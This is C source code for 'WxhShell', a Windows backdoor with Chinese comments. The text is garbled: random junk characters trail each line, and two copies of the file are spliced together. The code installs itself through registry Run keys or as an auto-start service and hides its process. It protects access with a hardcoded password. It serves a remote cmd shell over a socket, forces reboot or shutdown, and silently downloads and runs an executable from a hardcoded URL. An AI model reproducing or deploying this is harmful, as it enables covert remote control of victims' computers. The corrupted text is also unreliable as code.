    else { 2DMrMmLI  
    closesocket(wsh); J l7z|QS  
    ExitThread(0); !eD+GDgE]  
    } Nh)[r x  
    break; zsTbdF  
    } O25m k X  
  // 获取shell ! gp}U#Yv  
  case 's': { F>Y9o- o2  
    CmdShell(wsh); J^H =i)A  
    closesocket(wsh); kC^.4n om  
    ExitThread(0); .L;",E  
    break; lg/sMF>z\f  
  } Rlc$; Z9K  
  // 退出 K=kH%ZK  
  case 'x': { {},;-%xE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); shi Hy*(v  
    CloseIt(wsh); 0P 5BArJ?  
    break; S=R 3"~p  
    } -ID!pTvW  
  // 离开 I5pp "*u  
  case 'q': { ]O@"\_}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _p4}<pG  
    closesocket(wsh); zv%J=N$G  
    WSACleanup(); {fG|_+tl3o  
    exit(1); lIDl1Z@Z  
    break; 6/y* 2z;  
        } VJ1*|r,  
  } Y-&|VE2  
  } -^fzsBL.  
ic~Z_?p  
  // 提示信息 ^HFo3V }h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QAaF@Do  
} Dsb(CoWw  
  } W]LQ &f  
uZ[/%GTX{)  
  return; />Jm Rdf  
} jyjQzt >\  
rdI]\UH  
// shell模块句柄 2NR7V*A  
int CmdShell(SOCKET sock) ?Y!U*& 7  
{ p+D=}O  
STARTUPINFO si; ;F,qS0lzE  
ZeroMemory(&si,sizeof(si)); V [4n'LcE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k|ip?O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {"4<To]z  
PROCESS_INFORMATION ProcessInfo; 2 zl~>3S  
char cmdline[]="cmd";  [`bZ5*&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6~:+:;  
  return 0; /Su)|[/'  
} ^n71'MW  
=5_y<0`4  
// 自身启动模式 }@*I+\W/  
int StartFromService(void) y$h"ty{g  
{ Mryn>b`cB  
typedef struct <rMv0y+r  
{ .WO/=# O  
  DWORD ExitStatus; p)z-W(  
  DWORD PebBaseAddress; 4@))OD^x  
  DWORD AffinityMask; g$gS7!u,  
  DWORD BasePriority; 0:PSt_33F  
  ULONG UniqueProcessId; SauHFl8?  
  ULONG InheritedFromUniqueProcessId; 9mm2Vps;  
}   PROCESS_BASIC_INFORMATION; Okoo(dfM  
tWRf'n[+]  
PROCNTQSIP NtQueryInformationProcess; ioWJj.%  
#'g^Za  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AI R{s7N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ut':$l=  
%6Rp,M9=  
  HANDLE             hProcess; iRouLd  
  PROCESS_BASIC_INFORMATION pbi; o]p#%B?mZ  
<4sj@C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ik-oI=>.  
  if(NULL == hInst ) return 0; 59K}  
QD}1?)}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @5GBuu^j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |I/,F;'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A8mlw#`E8b  
RCCv>o  
  if (!NtQueryInformationProcess) return 0; c G*(C  
4D GY6PS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fo;6huz  
  if(!hProcess) return 0; t,1in4sN  
e|~C?Ow'J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fIH#  
uX98iJ  
  CloseHandle(hProcess); V 1*Ad  
>KKeV(Ur  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v*vn<nPAQ>  
if(hProcess==NULL) return 0; db^aL8  
tw-fAMwU  
HMODULE hMod; S$\.4*_H\  
char procName[255]; O%prD}x  
unsigned long cbNeeded; {&0mK"z_  
[jy0@Q9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =g >.X9lr  
]79~:m[C  
  CloseHandle(hProcess); e& p_f<  
U @)k3^  
if(strstr(procName,"services")) return 1; // 以服务启动 <_>.!9q  
w LpkUa  
  return 0; // 注册表启动 p %L1uwLG  
} _HLC>pH~#  
\hrrPPD1z  
// 主模块 ^DzL$BX  
int StartWxhshell(LPSTR lpCmdLine) +8^5C,V  
{ YWSz84d  
  SOCKET wsl; di--:h/  
BOOL val=TRUE; }'DC Q  
  int port=0; _Q)d+Fl  
  struct sockaddr_in door; u0s'6=  
L 43`^;u  
  if(wscfg.ws_autoins) Install(); @81-kdTx  
(1rJFl!  
port=atoi(lpCmdLine); 5GaoJ v  
Zd8drT'@#  
if(port<=0) port=wscfg.ws_port; Sf=F cb  
:4%<Rp  
  WSADATA data; Q!YF!WoBX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9LH=3Qt  
Jc`Rs"2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i3D<`\;r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]7v81G5E  
  door.sin_family = AF_INET; PEfE'lGj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R$Zv0a&  
  door.sin_port = htons(port); 5/ tj  
>_-!zjO8u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]/LWrQD  
closesocket(wsl); 0{-`Th+h  
return 1; : #3OcD4  
} -xw 98  
C/CN '  
  if(listen(wsl,2) == INVALID_SOCKET) { ax<g0=^R  
closesocket(wsl); }iD$4\ L  
return 1; kNRyOUy  
} >vHH  
  Wxhshell(wsl); T_uNF8Bh  
  WSACleanup(); zpbcmQB*  
PP!l  
return 0; jo<>Hc{g>  
ri"?, }(  
} wTHK=n\i  
^CfM|L8>  
// 以NT服务方式启动 mr@_ %U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sk~za  
{ U&,r4>V@h>  
DWORD   status = 0; ^uC"dfH  
  DWORD   specificError = 0xfffffff; `@4 2jG}*  
Rl y jOf{0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )!N2'Ld  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y=-{Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tceIA8d6  
  serviceStatus.dwWin32ExitCode     = 0; W"W@WG9X0  
  serviceStatus.dwServiceSpecificExitCode = 0; GEhdk]<a7  
  serviceStatus.dwCheckPoint       = 0; )\um "l*\c  
  serviceStatus.dwWaitHint       = 0; \k|_&hG  
h~,x7]w6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B1x'5S;Bq  
  if (hServiceStatusHandle==0) return; Z"l`e0 {  
Tq9,c#}&  
status = GetLastError(); :|?~B%-p[  
  if (status!=NO_ERROR) X QI.0L"  
{ ,@}W@GGP)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'Y hA  
    serviceStatus.dwCheckPoint       = 0; UN,<6D3\b  
    serviceStatus.dwWaitHint       = 0; +F1]M2p]  
    serviceStatus.dwWin32ExitCode     = status; 0\V\qAk  
    serviceStatus.dwServiceSpecificExitCode = specificError; eA~J4k_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }UyzM y,  
    return; FI3sLA  
  } }W- K  
\%w7D6dEZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t9-_a5>E\}  
  serviceStatus.dwCheckPoint       = 0; (nkUeQQN  
  serviceStatus.dwWaitHint       = 0; +i:  E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {KW&wsI  
} r0~7v1rG  
$ 1ak I  
// 处理NT服务事件,比如:启动、停止 B$K7L'e+-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mJwv&E  
{ 2A dX)iF@  
switch(fdwControl) ^?H\*N4  
{ uU8*$+ "  
case SERVICE_CONTROL_STOP: 3c1o,2  
  serviceStatus.dwWin32ExitCode = 0; ODM>Z8@W/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1.hOE>A%  
  serviceStatus.dwCheckPoint   = 0; ZkJY.H-F  
  serviceStatus.dwWaitHint     = 0; 0z#l0-NdQ  
  { bl(BA}<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XS}Zq4H  
  } I>N-95  
  return; 5A0K V7N5  
case SERVICE_CONTROL_PAUSE: yC9:sQ'k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X;K8,A7`  
  break; B| $\/xO  
case SERVICE_CONTROL_CONTINUE: h#(.(d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |u?k-,uI9  
  break; OlD7-c2L]  
case SERVICE_CONTROL_INTERROGATE: ,U|u-.~ZU  
  break; }0k"Sw X  
}; H;7O\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wh#_9);  
} d&GKfF  
+^^S'mP8  
// 标准应用程序主函数 >m)2ox_B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PO=ZxG   
{ >#${.+y  
R7\{w(`K  
// 获取操作系统版本 zJB+C=]D7H  
OsIsNt=GetOsVer(); Li?{e+g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uAPLT~  
EvGUj$  
  // 从命令行安装 e3HF"v]2!  
  if(strpbrk(lpCmdLine,"iI")) Install(); SdEb[  
[*mCa:^  
  // 下载执行文件 aT`02X   
if(wscfg.ws_downexe) { D{&+7C:8.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0ER6cTo-t  
  WinExec(wscfg.ws_filenam,SW_HIDE); uK"$=v6|  
} (HTk;vbZm  
 d'**wh,  
if(!OsIsNt) { I&Eg-96@  
// 如果时win9x,隐藏进程并且设置为注册表启动 Tko CyD9  
HideProc(); NO0[`jy(  
StartWxhshell(lpCmdLine); "6[Ax{cM  
} e>)}_b  
else +v`^_  
  if(StartFromService()) { V =:O  
  // 以服务方式启动 z=8_%r  
  StartServiceCtrlDispatcher(DispatchTable); gZ79u  
else IdC k  
  // 普通方式启动 Poylq] F  
  StartWxhshell(lpCmdLine); Is,*qrl :  
+Qb2LR  
return 0; 0SGczgg  
} $fU/9jTa  
R - ?0k:  
a3E*%G  
*YE IG#`  
=========================================== #h5Hi9LKf  
.DV#-tUh  
BZ'y}Zu*  
0ghwFo  
!513rNO  
*{4{<O<4  
" lw/ m0}it  
|L~gNC  
#include <stdio.h> DrVbx  
#include <string.h> `[W)6OUCx}  
#include <windows.h> K\%"RgF@&  
#include <winsock2.h> ZP G8q  
#include <winsvc.h> ud~VQXZo  
#include <urlmon.h> 4HYH\ey  
jAQ)3ON<  
#pragma comment (lib, "Ws2_32.lib") ,R9f;BR  
#pragma comment (lib, "urlmon.lib") HWao3Lz  
A$Jn3Xd~!  
#define MAX_USER   100 // 最大客户端连接数 0UAr}H.:  
#define BUF_SOCK   200 // sock buffer YM4U.! 4o  
#define KEY_BUFF   255 // 输入 buffer KG./<"c  
0"D?.E"$r  
#define REBOOT     0   // 重启 rj`.hXO  
#define SHUTDOWN   1   // 关机 CBgFB-!qpe  
#@OKp,LJ  
#define DEF_PORT   5000 // 监听端口 w|U@jr*H]  
D3 Ea2}8  
#define REG_LEN     16   // 注册表键长度 CB7R{~ $  
#define SVC_LEN     80   // NT服务名长度 )8A=yrTIT  
^/RM;`h0  
// 从dll定义API Vm5P@RU$w;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _ER cmP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :-jP8X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z#E#P<&d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u[% J#S  
4dD@lG~  
// wxhshell配置信息 q~A|R   
struct WSCFG { P)o[p(  
  int ws_port;         // 监听端口 OKNs ( H  
  char ws_passstr[REG_LEN]; // 口令 looPO:bo^  
  int ws_autoins;       // 安装标记, 1=yes 0=no h"%,eW|^  
  char ws_regname[REG_LEN]; // 注册表键名 g_U*_5doA  
  char ws_svcname[REG_LEN]; // 服务名 ]r{ #268  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f>JzG,-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w})&[d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xN~<<PIZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fJ+E46|4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f \%X 7.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :$@zX]?M  
:~YyHX  
}; orN2(:Ct7  
5D@Q1   
// default Wxhshell configuration SEn8t"n  
struct WSCFG wscfg={DEF_PORT, Mh@ylp+q  
    "xuhuanlingzhe", } jy7,+  
    1, }lbx  
    "Wxhshell", !QzMeN;D  
    "Wxhshell", }t{^*(  
            "WxhShell Service", ViC76aJ  
    "Wrsky Windows CmdShell Service", :zk.^q  
    "Please Input Your Password: ", {>qrf:  
  1, u=N;P  
  "http://www.wrsky.com/wxhshell.exe", HrcnyQ`Q0  
  "Wxhshell.exe" \VzQ1B>k  
    }; Sf8Xj |u  
,PtR^" Mf4  
// 消息定义模块 Y-9j2.{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I,q~*d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e}@J?tJK.L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @!tmUme1c  
char *msg_ws_ext="\n\rExit."; ,wy:RVv@e  
char *msg_ws_end="\n\rQuit."; @n y{.s+  
char *msg_ws_boot="\n\rReboot..."; 8XXTN@&,  
char *msg_ws_poff="\n\rShutdown..."; C]@B~X1H^  
char *msg_ws_down="\n\rSave to "; hYQ%|CBXBR  
A=>6$L];'  
char *msg_ws_err="\n\rErr!"; O4+w2'.,  
char *msg_ws_ok="\n\rOK!";   rs KE  
+.Ukzu~s  
char ExeFile[MAX_PATH]; /]UNN~(  
int nUser = 0; vTa23YDW  
HANDLE handles[MAX_USER]; "alO"x8t  
int OsIsNt; m^&mCo,  
W`rE\P  
SERVICE_STATUS       serviceStatus; A.*nDl`H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2QD B'xs3  
tz> X'L  
// 函数声明 'Z%aBCM  
int Install(void); gM:oP.  
int Uninstall(void);  y3$\ m  
int DownloadFile(char *sURL, SOCKET wsh); tg4&j$  
int Boot(int flag); E<_6O Cz  
void HideProc(void); 0iq$bT|  
int GetOsVer(void); , 0ja_  
int Wxhshell(SOCKET wsl); }|,\ ?7,  
void TalkWithClient(void *cs); AZP>\Dq  
int CmdShell(SOCKET sock); @)Y7GM+^  
int StartFromService(void); Cd*C^cJU&z  
int StartWxhshell(LPSTR lpCmdLine); @k;3$  
f\_Q+!^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ijSYQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "K=)J'/n  
`t"Kq+  
// 数据结构和表定义 ^OsUWhkV  
SERVICE_TABLE_ENTRY DispatchTable[] = %6?}gc_  
{ aPMM:RP`  
{wscfg.ws_svcname, NTServiceMain}, 5q*~h4=r7  
{NULL, NULL} s_+XSH[=f  
}; >}tG^)os  
\M^4DdAy  
// 自我安装 4& WzG nK  
int Install(void) p 8rAtz>=J  
{ clV/i&]Qa  
  char svExeFile[MAX_PATH]; dXN&<Q,  
  HKEY key; $VNn`0^gF  
  strcpy(svExeFile,ExeFile); 'GT`% ck  
O\{_)L  
// 如果是win9x系统,修改注册表设为自启动 T 0C'$1T  
if(!OsIsNt) { uv d>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JB}h }nb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e;\c=J,eE  
  RegCloseKey(key); Qc/J"<Lx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <T9m.:l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Unk+@$E&  
  RegCloseKey(key); ` &DiM@Sm  
  return 0; G*V 7*KC  
    } dRC+|^ rSC  
  } T!$HVHh&,}  
} $^GnY7$!>  
else { bsDUFXH]  
=i<(hgD  
// 如果是NT以上系统,安装为系统服务 *Ux"3IXO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a2n#T,kq&  
if (schSCManager!=0) AX?6Q4Gq1  
{ M6n.uho/  
  SC_HANDLE schService = CreateService 6f1Y:qK'@  
  ( cVi CWc2  
  schSCManager, WVFy ZpB  
  wscfg.ws_svcname, A}O9e  
  wscfg.ws_svcdisp, -': tpJk  
  SERVICE_ALL_ACCESS, *2hzReM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4\iQ%fb  
  SERVICE_AUTO_START, H2-(  
  SERVICE_ERROR_NORMAL, W;yZ$k#q}(  
  svExeFile, xEqrs6sR  
  NULL, ^4i3#}  
  NULL, S d -+a  
  NULL, =uEhxs j)S  
  NULL, ~d]7 Cl  
  NULL *?\Nioii  
  ); Gd 9B  
  if (schService!=0) 1Zzw|@#>o  
  { s6IuM )x  
  CloseServiceHandle(schService); MR: {Ps&,  
  CloseServiceHandle(schSCManager); dDn:^)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |M&/( 0  
  strcat(svExeFile,wscfg.ws_svcname); D:0PppE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0SYkDI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %kT:"j(xW  
  RegCloseKey(key); z9ZAY!Zhq]  
  return 0; .`9KB3  
    } v'=APl+_  
  } 4v7RX  
  CloseServiceHandle(schSCManager); otx7J\4  
} Qw+">  
} &,xM;8b  
ml2HA4X&$Y  
return 1; ^W*/!q7H  
} 7085&\9  
h !1c(UR  
// 自我卸载 7BnP,Nd"W  
int Uninstall(void) ,# 6\:i  
{ 0v?,:]A0E  
  HKEY key;  ?auiq  
E'}$'n?:  
if(!OsIsNt) { H?m2|.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -1:asM7  
  RegDeleteValue(key,wscfg.ws_regname); %K4-V5f  
  RegCloseKey(key); C}Q2UK-:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qZ.\GHS  
  RegDeleteValue(key,wscfg.ws_regname); L $~Id  
  RegCloseKey(key); ~Q0}>m,S  
  return 0; [ 0Sd +{Q  
  } /uWON4  
} N C& 1l]  
} iGIaZ!j aW  
else { QK\z-'&n  
KK}&4^q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l;ugrAo?  
if (schSCManager!=0) 9azPUf) C  
{ 0NGokaD)H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5sH ee,  
  if (schService!=0) *!/9?M{p  
  { D {mu2'q  
  if(DeleteService(schService)!=0) { .6*A~%-=[d  
  CloseServiceHandle(schService); ^AN9m]P  
  CloseServiceHandle(schSCManager); 1,E/So   
  return 0; ?w+T_EH  
  } bYz:gbs]4|  
  CloseServiceHandle(schService); M:~#"lfK  
  } [,c>-jA5  
  CloseServiceHandle(schSCManager); NNT9\JRv_  
} z{ 8!3>:E  
} Kt-@a%O0  
k`d  
return 1; A8?>V%b[Y  
} >HDK< 1>  
4d#W[  
// 从指定url下载文件 mEGMe@37  
int DownloadFile(char *sURL, SOCKET wsh) iR9iI!+;N  
{ -(jcsqDk  
  HRESULT hr; `fH6E8N  
char seps[]= "/"; B?]^}r  
char *token; v{9eEk1  
char *file; /#a$4 }2L  
char myURL[MAX_PATH]; <D__17W:;  
char myFILE[MAX_PATH]; B\6\QQ;rUo  
b(yY.L=K  
strcpy(myURL,sURL); ("{'],>  
  token=strtok(myURL,seps); xn-n{U"  
  while(token!=NULL) B\Uj  
  { mVxS[Gq  
    file=token; J-U}iU|  
  token=strtok(NULL,seps); Dbgw )n*2  
  } 7}Gy%SJ`  
\Tc$P#  
GetCurrentDirectory(MAX_PATH,myFILE); w$pv  
strcat(myFILE, "\\"); @c/~qP4  
strcat(myFILE, file); 6|zA,-=  
  send(wsh,myFILE,strlen(myFILE),0); <v\|@@X  
send(wsh,"...",3,0); "m!Cl-+u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UZyo:*yB  
  if(hr==S_OK) ]!/1qF  
return 0; # RtrHm  
else $ZA71TzMV  
return 1; +iXA|L9=  
N-^\e)ln  
} J~= =<?j:  
}{[F+|\>,e  
// 系统电源模块 p%}oo#%J  
int Boot(int flag) rA9"CN  
{ Agl[Z>Q  
  HANDLE hToken; 4u<oe_n  
  TOKEN_PRIVILEGES tkp; )msqt!Ev  
\=.iM?T  
  if(OsIsNt) { !a  /  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @Fo0uy\ G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j}y"  
    tkp.PrivilegeCount = 1;  3N;X|pa  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sp JB6n(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]86U -`p  
if(flag==REBOOT) { u|+O%s TQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GSypdEBj+w  
  return 0; U:_&aY_  
} 8tsW^y;S  
else { A;h~Fx6s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 291v R]  
  return 0; N/Z<v* i"  
} 8NpQ"0X  
  } !.9NJ2'8  
  else { gzeG5p  
if(flag==REBOOT) { Oq[tgmf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q K]Wk+  
  return 0; m#Rll[  
} @@+\  
else { P>:"\I[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'y@0P5[se  
  return 0; [N{Rd[{QTL  
} ^"l4   
} xmbkn}@A  
syMB~g  
return 1; hMdsR,Iq  
} r6"t`M  
gV A$P  
// win9x进程隐藏模块 3HWI;  
void HideProc(void) z[l17+v  
{ o[_ {\  
8hdd1lVKO8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JWC{"6  
  if ( hKernel != NULL ) iB{O"l@w  
  { XBCz\f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;l"z4>kt7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {um~]  
    FreeLibrary(hKernel); EFhe``  
  } @va6,^)  
>!?u8^C  
return; aabnlOVw  
} j$BM$q/c  
VDBP]LRF  
// 获取操作系统版本 !DXKn\aQf  
int GetOsVer(void) 2UA h^i-^  
{ FK0nQ{uB"  
  OSVERSIONINFO winfo; `O-$qT, _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5yuR[ VU  
  GetVersionEx(&winfo); CKyX  Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Za5*HCo  
  return 1; YEQ}<\B\&  
  else cW%F%:b  
  return 0; 1: XT r  
} NJwcb=*  
Jk 0 ;<2j  
// 客户端句柄模块 EX=Q(}9F<  
int Wxhshell(SOCKET wsl) )FYz*:f>&  
{ _=}Efy7  
  SOCKET wsh; /(5 SJ(a  
  struct sockaddr_in client; >}Za)  
  DWORD myID; Jr|"`f%V  
["kk.*&  
  while(nUser<MAX_USER) xbSix:R=Z  
{ X*/j na"*  
  int nSize=sizeof(client); 5f jmr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "xi)GH]H_  
  if(wsh==INVALID_SOCKET) return 1; _}8O15B|  
C5$1K'X@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =;4cDmZh  
if(handles[nUser]==0) MZv In ZS  
  closesocket(wsh); `a*[@a#  
else .IE2d%]?  
  nUser++; Lp.,:z7  
  } g kT`C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'D;v>r  
jA?A)YNQb  
  return 0; c=0S]_  
} WnyEdYA  
AQw1,tGV  
// 关闭 socket %A|9=x*  
void CloseIt(SOCKET wsh) <j+DY@*  
{ cQ} ,q+GR~  
closesocket(wsh); :<r.n "  
nUser--; 9@9(zUS|  
ExitThread(0); |Ah'KpL8W  
} ?Id3#+-O  
p Wa'Fd  
// 客户端请求句柄 _ fJ 5z  
void TalkWithClient(void *cs) qcSlqWDk  
{ %}elh79H*  
N =FX3Z  
  SOCKET wsh=(SOCKET)cs; ~oWCTj-  
  char pwd[SVC_LEN]; B4Ko,=pg  
  char cmd[KEY_BUFF]; JR] /\(  
char chr[1]; 1qp<Fz[  
int i,j; aAhXHsZ|26  
>x]b"@Hkw  
  while (nUser < MAX_USER) { 3#<b!Yz  
^K. d|z  
if(wscfg.ws_passstr) { % P .(L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <=[,_P6|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0}tf*M+a  
  //ZeroMemory(pwd,KEY_BUFF); aDce Ohfx  
      i=0; E!nEB(FD  
  while(i<SVC_LEN) { VbyGr~t  
.0+=#G>  
  // 设置超时 C-O~Oil  
  fd_set FdRead; ,< Zu4bww  
  struct timeval TimeOut; wFI2 (cQ  
  FD_ZERO(&FdRead); -5B>2K F  
  FD_SET(wsh,&FdRead); g?&_5)&  
  TimeOut.tv_sec=8; jGy%O3/  
  TimeOut.tv_usec=0; Mm7;'Zbg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :59fb"^$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); je LRS8];  
&\6Buw_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HEh,Cf7`'  
  pwd=chr[0]; @D1}).  
  if(chr[0]==0xd || chr[0]==0xa) { goBl~fqy0  
  pwd=0; r&!Ebe-  
  break; u-qwG/$E  
  } 9n9Z  
  i++; &BTgISYi  
    } nY y%=B|>  
[.:SV|AF#  
  // 如果是非法用户,关闭 socket 0i/!by {@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,'!x 9 `  
} m-T@Og  
3<F\ 5|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0#Ivo<V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]rC2jB\,M  
1'Sr0 oEd3  
while(1) { |y%pJdPk=  
4f~ c# 0?  
  ZeroMemory(cmd,KEY_BUFF); v\lhbpk  
={g.Fn(_  
      // 自动支持客户端 telnet标准   p} }pq~EH/  
  j=0; 0SS,fs<w3  
  while(j<KEY_BUFF) { 9d kuvk}:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =f~8"j  
  cmd[j]=chr[0]; skaPC#u  
  if(chr[0]==0xa || chr[0]==0xd) { [7Fx#o=da  
  cmd[j]=0; lB)%s~P:s  
  break; ?`T0zpC  
  } IhR;YM[K  
  j++; 7+]+S`p  
    } 2bv/ -^  
"R<c  
  // 下载文件 3bK.8  
  if(strstr(cmd,"http://")) { bqPaXH n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9!XXuMWU<  
  if(DownloadFile(cmd,wsh)) p9X{E%A<:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7l%]O}!d)  
  else  {^8->V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yV.E+~y  
  } [k~}Fe) x  
  else { <ztcCRov  
sOVbz2 \yb  
    switch(cmd[0]) { EN2H[i+,  
  t GS>f>i  
  // 帮助 ~SzHIVj:6  
  case '?': { ob. Br:x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rd_!'pG  
    break; [[XbKg`"?  
  } tRZA`&  
